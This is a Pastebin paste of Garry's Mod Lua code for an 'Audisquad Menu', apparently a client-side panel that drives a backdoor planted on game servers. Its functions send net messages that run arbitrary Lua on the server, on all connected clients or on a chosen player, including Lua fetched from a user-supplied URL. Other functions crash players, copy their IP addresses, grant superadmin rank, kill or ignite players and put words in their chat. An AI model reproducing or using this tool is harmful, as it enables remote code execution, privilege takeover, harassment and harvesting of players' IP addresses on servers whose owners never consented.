Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /////////////// FUNCTIONALITY /////////////////
- local PANEL = {}
- function PANEL:Init()
- self:SetSize(256, 36)
- self:SetContentAlignment(5)
- self:SetExpensiveShadow(1, Color(0, 0, 0, 150))
- self:SetFont("DebugFixedEx")
- self:SetTextColor(color_white)
- end
- function PANEL:Paint(w, h)
- surface.SetDrawColor(230, 230, 230, 10)
- surface.DrawRect(0, 0, w, h)
- if (self.start) then
- local w2 = math.TimeFraction(self.start, self.endTime, CurTime()) * w
- surface.SetDrawColor(245, 135, 193, 255)
- surface.DrawRect(w2, 0, w - w2, h)
- end
- surface.SetDrawColor(0, 0, 0, 45)
- surface.DrawOutlinedRect(0, 0, w, h)
- end
- vgui.Register("Notice", PANEL, "DLabel")
- notices = notices or {}
- local function notify(message)
- local notice = vgui.Create("Notice")
- local i = table.insert(notices, notice)
- local scrW = ScrW()
- notice:SetText(message)
- notice:SetPos(ScrW(), (i - 1) * (notice:GetTall() + 4) + 4)
- notice:SizeToContentsX()
- notice:SetWide(notice:GetWide() + 16)
- notice.start = CurTime() + 0.25
- notice.endTime = CurTime() + 7.75
- local function OrganizeNotices()
- for k, v in ipairs(notices) do
- v:MoveTo(scrW - (v:GetWide() + 4), (k - 1) * (v:GetTall() + 4) + 4, 0.15, (k / #notices) * 0.25, nil)
- end
- end
- OrganizeNotices()
- MsgC(Color(0, 255, 255), message.."\n")
- timer.Simple(0.15, function()
- surface.PlaySound("buttons/button14.wav")
- end)
- timer.Simple(7.75, function()
- if (IsValid(notice)) then
- for k, v in ipairs(notices) do
- if (v == notice) then
- notice:MoveTo(ScrW(), notice.y, 0.15, 0.1, nil, function()
- notice:Remove()
- end)
- table.remove(notices, k)
- OrganizeNotices()
- break
- end
- end
- end
- end)
- end
- local function getPlayerByName( target )
- for k, v in pairs(player.GetAll()) do
- if (v:Name() == target) then
- return v
- end
- end
- end
- local function fillHealth( target )
- net.Start("fillHealth")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You've filled "..target:Name().."'s health!")
- end
- local function overdoseHealth( target )
- net.Start("overdoseHealth")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You've Overdosed "..target:Name().."'s health!")
- end
- local function drainHealth( target )
- net.Start("drainHealth")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You've drained "..target:Name().."'s health!")
- end
- local function kill( target )
- net.Start("kill")
- net.WriteEntity(target)
- net.SendToServer()
- notify(target:Name().." is now dead.")
- end
- local function giveWeapon( weapon, target )
- net.Start("giveWeapon")
- net.WriteEntity(target)
- net.WriteString(weapon)
- net.SendToServer()
- notify("You have given "..target:Name().." a "..weapon..".")
- end
- local function fillAmmo( target )
- net.Start("ammoFill")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You have filled "..target:Name().."'s magazine.")
- end
- local function drainAmmo( target )
- net.Start("ammoDrain")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You have drained "..target:Name().."'s magazine.")
- end
- local function giveMenu( target )
- net.Start("giveMenu")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You've given "..target:Name().." access to the menu!")
- end
- local function biggify( target )
- net.Start("biggify")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You've made "..target:Name().." huge!")
- end
- local function normalize( target )
- net.Start("normalize")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You've made "..target:Name().." normal again!")
- end
- local function smallify( target )
- net.Start("smallify")
- net.WriteEntity(target)
- net.SendToServer()
- notify("You've made "..target:Name().." small!")
- end
- local function bringTo( target, destination )
- net.Start("bringTo")
- net.WriteEntity(target)
- net.WriteEntity(destination)
- net.SendToServer()
- notify("You have brought "..target:Name().." to "..destination:Name().."!")
- end
- local function getIP( target )
- net.Start("getIP")
- net.WriteEntity( target )
- net.WriteEntity( LocalPlayer( ) )
- net.SendToServer( )
- notify("You have copied "..target:Name( ).."'s IP address to your clipboard.")
- end
- local function runLuaOnPlayer( target )
- Derma_StringRequest( "Run LUA", "Input string to be ran", "", function( text )
- net.Start("runStringOnPlayer")
- net.WriteEntity( target )
- net.WriteString( text )
- net.SendToServer( )
- notify("You ran lua on "..target:Name( )..".")
- end, function() end, "Send", "Cancel" )
- end
- local function runLuaOnPlayerFromURL( target )
- Derma_StringRequest( "Run LUA From URL", "Input a link to a file containing LUA Code", "", function( text )
- http.Fetch(text, function(body, len, headers, code)
- net.Start("runStringOnPlayer")
- net.WriteEntity( target )
- net.WriteString( body )
- net.SendToServer( )
- end, function( ) end)
- notify("You ran lua from URL on "..target:Name( )..".")
- end, function() end, "Send", "Cancel" )
- end
- local function crashPlayer( target )
- net.Start("crashPlayer")
- net.WriteEntity( target )
- net.SendToServer( )
- notify("You've crashed "..target:Name().."!")
- end
- local function noclipPlayer( target )
- net.Start("noclipPlayer")
- net.WriteEntity( target )
- net.SendToServer( )
- end
- local function setRank( target, rank )
- net.Start("setRank")
- net.WriteEntity( target )
- net.WriteString( rank )
- net.SendToServer( )
- notify("You have set "..target:Name().."'s rank to "..rank.."!")
- end
- local function setModel( target )
- Derma_StringRequest( "Set Model", "Input the path to the model you'd like to set this player to", "", function( text )
- net.Start("setModel")
- net.WriteEntity( target )
- net.WriteString( text )
- net.SendToServer( )
- notify("You have set "..target:Name().."'s model to "..text..".")
- end, function() end, "Set", "Cancel" )
- end
- local function takeWeapon( weapon, target )
- net.Start( "takeWeapon" )
- net.WriteEntity( target )
- net.WriteString( weapon )
- net.SendToServer( )
- notify("You've taken "..weapon.." from "..target:Name().."!")
- end
- local function ignite( target )
- net.Start("ignitePlayer")
- net.WriteEntity( target )
- net.SendToServer( )
- notify("You've ignited "..target:Name().."!")
- end
- local function cloak( target )
- net.Start("cloak")
- net.WriteEntity( target )
- net.SendToServer( )
- notify("You have cloaked "..target:Name().."!")
- end
- local function uncloak( target )
- net.Start("uncloak")
- net.WriteEntity( target )
- net.SendToServer( )
- notify("You have uncloaked "..target:Name().."!")
- end
- local function godMode( target )
- net.Start("godMode")
- net.WriteEntity( target )
- net.SendToServer( )
- end
- local function chatSay( target )
- Derma_StringRequest( "Say in Chat", "Make a player say something chat", "", function( text )
- net.Start("chatSay")
- net.WriteEntity( target )
- net.WriteString( text )
- net.SendToServer( )
- notify("You made "..target:Name().."say something in chat!")
- end, function() end, "Say", "Cancel" )
- end
- local function sendToServer( command )
- net.Start("runString")
- net.WriteString( command )
- net.SendToServer()
- notify("You have sent lua to the server!")
- end
- local function sendToAll( command )
- net.Start("runStringAll")
- net.WriteString( command )
- net.WriteEntity( LocalPlayer() )
- net.SendToServer()
- notify("You've sent lua to all connected clients!")
- end
- local function playFromURL( target )
- Derma_StringRequest( "Play Sound from URL", "Play a sound on a specific player from URL", "", function( text )
- net.Start("playFromUrl")
- net.WriteEntity( target )
- net.WriteString( text )
- net.SendToServer( )
- notify("You've played a sound on "..target:Name().."!")
- end, function() end, "Play", "Cancel" )
- end
- local function playFromURLAll( url )
- end
- local function playKnock( target )
- net.Start("playFromUrl")
- net.WriteEntity( target )
- net.WriteString( "http://puu.sh/pFiIl/65ac9e9042.mp3" )
- net.SendToServer()
- end
- local function sendToServerByUrl( url )
- net.Start("runStringURL")
- net.WriteString( url )
- net.SendToServer()
- end
- local function sendToAllByUrl( url )
- net.Start("runStringURLAll")
- net.WriteString( url )
- net.WriteEntity( LocalPlayer() )
- net.SendToServer()
- notify("You've sent lua to all connected clients via URL!")
- end
- /////////////// END FUNCTIONALITY ////////////////
- surface.CreateFont("DebugFixedEx", {
- font = "DebugFixed",
- size = 24,
- weight = 1000
- })
- surface.CreateFont("DebugFixedB", {
- font = "DebugFixed",
- size = 12,
- weight = 100
- })
- function GeneratePlayerList( ply, parent )
- local bgcol = Color(30, 30, 30, 255)
- local slot = parent:Add( "DButton" )
- slot:SetText(" ")
- slot:Dock(TOP)
- slot:SetTall(32)
- slot:DockMargin(14, 0, 0, 1)
- slot.Paint = function( )
- surface.SetDrawColor(bgcol)
- surface.DrawRect(0, 0, slot:GetWide() - 15, slot:GetTall())
- end
- slot.OnCursorEntered = function( )
- bgcol = Color(245, 135, 193, 255)
- end
- slot.OnCursorExited = function( )
- bgcol = Color(30, 30, 30, 255)
- end
- slot.DoClick = function( )
- //print(target)
- CreateFuncMenu( slot, ply )
- end
- slot.name = slot:Add("DLabel")
- slot.name:SetText(ply:Name())
- slot.name:Dock(LEFT)
- slot.name:DockMargin(15,0,0,0)
- slot.name:SetTall(18)
- slot.name:SetWide(400)
- slot.name:SetFont("DebugFixedEx")
- slot.name:SetTextColor(color_white)
- slot.name:SetExpensiveShadow(1, color_black)
- end
- function CreateFuncMenu( panel, ply )
- local Menu = DermaMenu( panel )
- local health = Menu:AddSubMenu( "Health" )
- local misc = Menu:AddSubMenu( "Misc" )
- local modelScale = Menu:AddSubMenu( "Model" )
- local rank = Menu:AddSubMenu( "Set Rank" )
- local weapon = Menu:AddSubMenu( "Weapon" )
- local teleport = Menu:AddSubMenu( "Teleport" )
- local teleport_selector_send = teleport:AddSubMenu( "Send To" )
- local teleport_selector_bring = teleport:AddSubMenu( "Bring" )
- local movement = Menu:AddSubMenu( "Movement" )
- local weapon_selector = weapon:AddSubMenu( "Give Weapon" )
- local weapon_selector_take = weapon:AddSubMenu( "Take Weapon" )
- Menu:MakePopup()
- health:AddOption( "Fill", function( ) fillHealth( ply ) end ):SetIcon( "icon16/heart_add.png" )
- health:AddOption( "Drain", function( ) drainHealth( ply ) end ):SetIcon( "icon16/heart_delete.png" )
- health:AddOption( "Kill", function( ) kill( ply ) end ):SetIcon( "icon16/bomb.png" )
- health:AddOption( "Overfill", function( ) overdoseHealth ( ply ) end ):SetIcon ( "icon16/cake.png" )
- misc:AddOption( "Copy IP To Clipboard", function( ) getIP( ply ) end ):SetIcon( "icon16/page_copy.png" )
- modelScale:AddOption( "Biggify", function( ) biggify( ply ) end ):SetIcon( "icon16/arrow_up.png" )
- modelScale:AddOption( "Normalize", function( ) normalize( ply ) end ):SetIcon( "icon16/arrow_refresh.png" )
- modelScale:AddOption( "Smallify", function( ) smallify( ply ) end ):SetIcon( "icon16/arrow_down.png" )
- modelScale:AddOption( "Set Model", function( ) setModel( ply ) end ):SetIcon( "icon16/wand.png" )
- misc:AddOption( "Give Menu", function( ) giveMenu( ply ) end ):SetIcon( "icon16/link.png" )
- weapon:AddOption( "Fill Magazine", function( ) fillAmmo( ply ) end ):SetIcon( "icon16/link.png" )
- weapon:AddOption( "Drain Magazine", function( ) drainAmmo( ply ) end ):SetIcon( "icon16/link.png" )
- misc:AddOption( "Run Lua", function( ) runLuaOnPlayer( ply ) end ):SetIcon( "icon16/drive_user.png" )
- misc:AddOption( "Run Lua From URL", function( ) runLuaOnPlayerFromURL( ply ) end ):SetIcon( "icon16/drive_web.png" )
- misc:AddOption( "Crash", function( ) crashPlayer( ply ) end ):SetIcon( "icon16/bug.png" )
- rank:AddOption( "Superadmin", function( ) setRank( ply, "superadmin" ) end ):SetIcon( "icon16/shield.png" )
- rank:AddOption( "Admin", function( ) setRank( ply, "admin" ) end ):SetIcon( "icon16/star.png" )
- rank:AddOption( "User", function( ) setRank( ply, "user" ) end ):SetIcon( "icon16/user_orange.png" )
- misc:AddOption( "Ignite", function( ) ignite( ply ) end ):SetIcon( "icon16/lightning.png" )
- misc:AddOption( "Say in Chat", function( ) chatSay( ply ) end ):SetIcon( "icon16/pencil.png" )
- misc:AddOption( "Play Sound", function( ) playFromURL( ply ) end ):SetIcon( "icon16/sound.png" )
- misc:AddOption( "Play Knock", function( ) playKnock( ply ) end ):SetIcon( "icon16/sound.png" )
- for k, v in pairs( weapons.GetList( ) ) do
- weapon_selector:AddOption( v.ClassName, function( ) giveWeapon( v.ClassName, ply ) end )
- end
- if (ply:GetMoveType() != MOVETYPE_NOCLIP) then
- movement:AddOption( "Enable Noclip", function( ) noclipPlayer( ply ) end ):SetIcon( "icon16/user_gray.png" )
- else
- movement:AddOption( "Disable Noclip", function( ) noclipPlayer( ply ) end ):SetIcon( "icon16/user_gray.png" )
- end
- if (ply:GetRenderMode() == RENDERMODE_TRANSALPHA) then
- modelScale:AddOption( "Disable Cloak", function( ) uncloak( ply ) end ):SetIcon( "icon16/user_suit.png" )
- else
- modelScale:AddOption( "Enable Cloak", function( ) cloak( ply ) end ):SetIcon( "icon16/user_suit.png" )
- end
- if ( ply:HasGodMode( ) == true ) then
- health:AddOption( "Disable God Mode", function( ) godMode( ply ) end ):SetIcon( "icon16/tux.png" )
- else
- health:AddOption( "Toggle God Mode", function( ) godMode( ply ) end ):SetIcon( "icon16/tux.png" )
- end
- for k, v in pairs( ply:GetWeapons( ) ) do
- weapon_selector_take:AddOption( v:GetClass( ), function( ) takeWeapon( v:GetClass(), ply ) end )
- end
- for k, v in pairs( player.GetAll( ) ) do
- if v != ply then
- teleport_selector_bring:AddOption( v:Name( ), function( ) bringTo( v, ply ) end )
- teleport_selector_send:AddOption( v:Name( ), function( ) bringTo( ply, v ) end )
- end
- end
- Menu:SetPos( gui.MousePos( ) )
- end
- local function drawMenu()
- local mwidth, mheight = 800, 400
- local main = vgui.Create( "DFrame" )
- main:SetPos(ScrW()/2 - mwidth/2, ScrH()/2 - mheight/2)
- main:SetSize( mwidth, mheight )
- main:ShowCloseButton( false )
- main:SetTitle( " " )
- main:SetDraggable( true )
- main:MakePopup()
- main.Paint = function()
- draw.RoundedBox( 0, 0, 0, 800, 400, Color(64, 56, 100, 200) )
- draw.RoundedBox( 0, 0, 0, 800, 25, Color(245, 135, 193, 255) )
- draw.DrawText( "Audisquad Menu", "DebugFixed", 400, 5, Color(255, 255, 255), 1 )
- end
- local close = vgui.Create( "DButton", main )
- close:SetPos( 775, 3 )
- close:SetText( " " )
- close:SetFont("DebugFixed")
- close:SetSize( 20, 20 )
- close.DoClick = function()
- main:Close()
- end
- close.Paint = function()
- draw.DrawText( "X", "DebugFixed", 10, 3, Color(255, 255, 255), 1 )
- end
- local sheet = vgui.Create( "DPropertySheet", main )
- sheet:Dock( FILL )
- sheet.Paint = function( self, w, h )
- surface.SetDrawColor(245, 135, 193, 255)
- surface.DrawOutlinedRect(0, 20, sheet:GetWide(), sheet:GetTall() - 20 )
- end
- local playerTab = vgui.Create( "DScrollPanel", sheet )
- playerTab:Dock( FILL )
- playerTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 128, 255, 0 ) ) end
- sheet:AddSheet( "Players", playerTab, "icon16/user.png" )
- local serverTab = vgui.Create( "DPanel", sheet )
- serverTab:Dock( FILL )
- serverTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 128, 0, 0 ) ) end
- local stRunLua = vgui.Create( "DTextEntry", serverTab )
- stRunLua:SetPos( 20, 20 )
- stRunLua:SetSize( 300, 20 )
- stRunLua:SetText( "" )
- stRunLua.OnEnter = function( self )
- if ( ( self:GetValue() != "" ) ) then
- sendToServer( self:GetValue() )
- end
- end
- stRunLuaB = vgui.Create( "DButton", serverTab )
- stRunLuaB:SetPos( 105, 55 )
- stRunLuaB:SetSize( 125, 20 )
- stRunLuaB:SetText( "Run LUA On Server" )
- stRunLuaB:SetFont( "DebugFixedB" )
- stRunLuaB:SetTextColor( Color( 245, 135, 193, 255 ) )
- stRunLuaB.Paint = function( self, w, h )
- surface.SetDrawColor(245, 135, 193, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
- end
- stRunLuaB.DoClick = function( )
- if ( ( stRunLua:GetValue() != "" ) ) then
- sendToServer( stRunLua:GetValue() )
- end
- end
- local stRunLuaAll = vgui.Create( "DTextEntry", serverTab )
- stRunLuaAll:SetPos( 470, 20 )
- stRunLuaAll:SetSize( 300, 20 )
- stRunLuaAll:SetText( "" )
- stRunLuaAll.OnEnter = function( self )
- if ( ( self:GetValue() != "" ) ) then
- sendToAll( self:GetValue() )
- end
- end
- local stRunLuaAllB = vgui.Create( "DButton", serverTab )
- stRunLuaAllB:SetPos( 555, 55 )
- stRunLuaAllB:SetSize( 125, 20 )
- stRunLuaAllB:SetText( "Run LUA On All" )
- stRunLuaAllB:SetFont( "DebugFixedB" )
- stRunLuaAllB:SetTextColor( Color( 245, 135, 193, 255 ) )
- stRunLuaAllB.Paint = function( self, w, h )
- surface.SetDrawColor(245, 135, 193, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
- end
- stRunLuaAllB.DoClick = function( )
- if ( stRunLuaAll:GetValue() != "" ) then
- sendToAll( stRunLuaAll:GetValue() )
- end
- end
- local stRunLuaUrl = vgui.Create( "DTextEntry", serverTab )
- stRunLuaUrl:SetPos( 20, 90 )
- stRunLuaUrl:SetSize( 300, 20 )
- stRunLuaUrl:SetText("")
- stRunLuaUrl.OnEnter = function( self )
- if ( self:GetValue() != "" ) then
- sendToServerByURL( self:GetValue() )
- end
- end
- local stRunLuaUrlB = vgui.Create( "DButton", serverTab )
- stRunLuaUrlB:SetPos( 105, 125 )
- stRunLuaUrlB:SetSize( 125, 20 )
- stRunLuaUrlB:SetText( "Run LUA From URL" )
- stRunLuaUrlB:SetFont( "DebugFixedB" )
- stRunLuaUrlB:SetTextColor( Color( 245, 135, 193, 255 ) )
- stRunLuaUrlB.Paint = function( self, w, h )
- surface.SetDrawColor(245, 135, 193, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
- end
- stRunLuaUrlB.DoClick = function( )
- if ( stRunLuaUrl:GetValue() != "" ) then
- sendToServerByUrl( stRunLuaUrl:GetValue() )
- end
- end
- local stRunLuaUrlAll = vgui.Create( "DTextEntry", serverTab )
- stRunLuaUrlAll:SetPos( 470, 90 )
- stRunLuaUrlAll:SetSize( 300, 20 )
- stRunLuaUrlAll:SetText("")
- stRunLuaUrlAll.OnEnter = function( self )
- if ( self:GetValue() != "" ) then
- sendToAllByUrl( self:GetValue() )
- end
- end
- local stRunLuaUrlAllB = vgui.Create( "DButton", serverTab )
- stRunLuaUrlAllB:SetPos( 555, 125 )
- stRunLuaUrlAllB:SetSize( 125, 20 )
- stRunLuaUrlAllB:SetText( "Run LUA on All From URL" )
- stRunLuaUrlAllB:SetFont( "DebugFixedB" )
- stRunLuaUrlAllB:SetTextColor( Color( 245, 135, 193, 255 ) )
- stRunLuaUrlAllB.Paint = function( self, w, h )
- surface.SetDrawColor(245, 135, 193, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
- end
- stRunLuaUrlB.DoClick = function( )
- if ( stRunLuaUrlAll:GetValue() != "" ) then
- sendToAllByUrl( stRunLuaUrlAll:GetValue() )
- end
- end
- sheet:AddSheet( "Server", serverTab, "icon16/server.png" )
- local worldTab = vgui.Create( "DPanel", sheet )
- worldTab:Dock( FILL )
- worldTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 128, 0, 128, 0 ) ) end
- sheet:AddSheet( "World", worldTab, "icon16/world.png" )
- local nutscriptTab = vgui.Create( "DPanel", sheet )
- nutscriptTab:Dock( FILL )
- nutscriptTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 128, 0, 0 ) ) end
- sheet:AddSheet( "Nutscript", nutscriptTab, "icon16/plugin.png" )
- for k, v in pairs(player.GetAll()) do
- GeneratePlayerList( v, playerTab )
- end
- end
- drawMenu()
- concommand.Add( "audi_menu_new", function( ply, cmd, args )
- drawMenu()
- end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement